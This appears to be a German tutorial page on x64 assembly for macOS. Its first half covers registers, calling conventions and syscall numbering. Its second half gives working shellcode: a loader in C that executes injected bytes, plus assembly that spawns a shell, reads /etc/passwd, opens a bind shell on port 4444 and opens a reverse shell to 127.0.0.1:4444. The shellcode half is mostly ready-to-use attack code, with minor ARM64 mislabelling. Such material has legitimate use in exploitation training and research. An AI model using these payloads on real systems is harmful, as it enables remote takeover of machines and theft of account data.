Einführung in x64

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Einführung in x64

x64, auch bekannt als x86-64, ist eine 64-Bit-Prozessorarchitektur, die überwiegend in Desktop- und Server-Computing verwendet wird. Sie stammt von der x86-Architektur, die von Intel produziert wurde und später von AMD unter dem Namen AMD64 übernommen wurde. Sie ist heute die vorherrschende Architektur in Personal Computern und Servern.

Register

x64 baut auf der x86-Architektur auf und verfügt über 16 allgemeine Register, die als rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi sowie r8 bis r15 bezeichnet werden. Jedes dieser Register kann einen 64-Bit (8-Byte) Wert speichern. Diese Register haben auch 32-Bit-, 16-Bit- und 8-Bit-Teilregister für Kompatibilität und spezifische Aufgaben.

rax - Traditionell verwendet für Rückgabewerte von Funktionen.
rbx - Oft als Basisregister für Speicheroperationen verwendet.
rcx - Häufig verwendet für Schleifenzähler.
rdx - In verschiedenen Rollen verwendet, einschließlich erweiterter arithmetischer Operationen.
rbp - Basiszeiger für den Stackrahmen.
rsp - Stackzeiger, der den oberen Teil des Stacks verfolgt.
rsi und rdi - Verwendet für Quell- und Zielindizes in String-/Speicheroperationen.
r8 bis r15 - Zusätzliche allgemeine Register, die in x64 eingeführt wurden.

Aufrufkonvention

Die x64-Aufrufkonvention variiert zwischen Betriebssystemen. Zum Beispiel:

Windows: Die ersten vier Parameter werden in den Registern rcx, rdx, r8 und r9 übergeben. Weitere Parameter werden auf den Stack geschoben. Der Rückgabewert befindet sich in rax.
System V (häufig in UNIX-ähnlichen Systemen verwendet): Die ersten sechs Integer- oder Zeigerparameter werden in den Registern rdi, rsi, rdx, rcx, r8 und r9 übergeben. Der Rückgabewert befindet sich ebenfalls in rax.

Wenn die Funktion mehr als sechs Eingaben hat, werden die restlichen auf dem Stack übergeben. RSP, der Stackzeiger, muss 16 Byte ausgerichtet sein, was bedeutet, dass die Adresse, auf die er zeigt, vor einem Aufruf durch 16 teilbar sein muss. Das bedeutet, dass wir normalerweise sicherstellen müssen, dass RSP in unserem Shellcode richtig ausgerichtet ist, bevor wir einen Funktionsaufruf machen. In der Praxis funktionieren Systemaufrufe jedoch oft, auch wenn diese Anforderung nicht erfüllt ist.

Aufrufkonvention in Swift

Swift hat seine eigene Aufrufkonvention, die in https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64 zu finden ist.

Häufige Anweisungen

x64-Anweisungen haben einen umfangreichen Satz, der die Kompatibilität mit früheren x86-Anweisungen aufrechterhält und neue einführt.

mov: Bewege einen Wert von einem Register oder Speicherort zu einem anderen.
Beispiel: mov rax, rbx — Bewegt den Wert von rbx nach rax.
push und pop: Werte auf den Stack schieben oder davon abziehen.
Beispiel: push rax — Schiebt den Wert in rax auf den Stack.
Beispiel: pop rax — Holt den obersten Wert vom Stack in rax.
add und sub: Addition- und Subtraktionsoperationen.
Beispiel: add rax, rcx — Addiert die Werte in rax und rcx und speichert das Ergebnis in rax.
mul und div: Multiplikations- und Divisionsoperationen. Hinweis: Diese haben spezifische Verhaltensweisen bezüglich der Operandenverwendung.
call und ret: Verwendet, um Funktionen aufzurufen und von ihnen zurückzukehren.
int: Wird verwendet, um eine Software-Unterbrechung auszulösen. Z.B. wurde int 0x80 für Systemaufrufe in 32-Bit x86 Linux verwendet.
cmp: Vergleicht zwei Werte und setzt die CPU-Flags basierend auf dem Ergebnis.
Beispiel: cmp rax, rdx — Vergleicht rax mit rdx.
je, jne, jl, jge, ...: Bedingte Sprunganweisungen, die den Kontrollfluss basierend auf den Ergebnissen eines vorherigen cmp oder Tests ändern.
Beispiel: Nach einer cmp rax, rdx-Anweisung, je label — Springt zu label, wenn rax gleich rdx ist.
syscall: Wird für Systemaufrufe in einigen x64-Systemen (wie modernen Unix) verwendet.
sysenter: Eine optimierte Systemaufruf-Anweisung auf einigen Plattformen.

Funktionsprolog

Schiebe den alten Basiszeiger: push rbp (speichert den Basiszeiger des Aufrufers)
Bewege den aktuellen Stackzeiger zum Basiszeiger: mov rbp, rsp (richtet den neuen Basiszeiger für die aktuelle Funktion ein)
Allokiere Platz auf dem Stack für lokale Variablen: sub rsp, <size> (wobei <size> die benötigte Anzahl von Bytes ist)

Funktionsepilog

Bewege den aktuellen Basiszeiger zum Stackzeiger: mov rsp, rbp (deallokiert lokale Variablen)
Pop den alten Basiszeiger vom Stack: pop rbp (stellt den Basiszeiger des Aufrufers wieder her)
Rückkehr: ret (gibt die Kontrolle an den Aufrufer zurück)

macOS

syscalls

Es gibt verschiedene Klassen von Syscalls, die Sie hier finden können:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

Dann können Sie jede Syscall-Nummer in dieser URL:

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

Um den open syscall (5) aus der Unix/BSD-Klasse aufzurufen, müssen Sie ihn hinzufügen: 0x2000000

Die syscall-Nummer, um open aufzurufen, wäre 0x2000005

Shellcodes

Zum Kompilieren:

bash

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

Um die Bytes zu extrahieren:

bash

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'

C-Code zum Testen des Shellcodes

// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "<INSERT SHELLCODE HERE>";

int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf("    |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf("    |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf("    |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr;
sc();

return 0;
}

Shell

Entnommen von hier und erklärt.

armasm

bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

armasm

bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

Mit cat lesen

Das Ziel ist es, execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL) auszuführen, sodass das zweite Argument (x1) ein Array von Parametern ist (was im Speicher einen Stack der Adressen bedeutet).

armasm

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

Befehl mit sh ausführen

armasm

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Bind-Shell

Bind-Shell von https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html in Port 4444

armasm

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

Reverse Shell

Reverse Shell von https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Reverse Shell zu 127.0.0.1:4444

armasm

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

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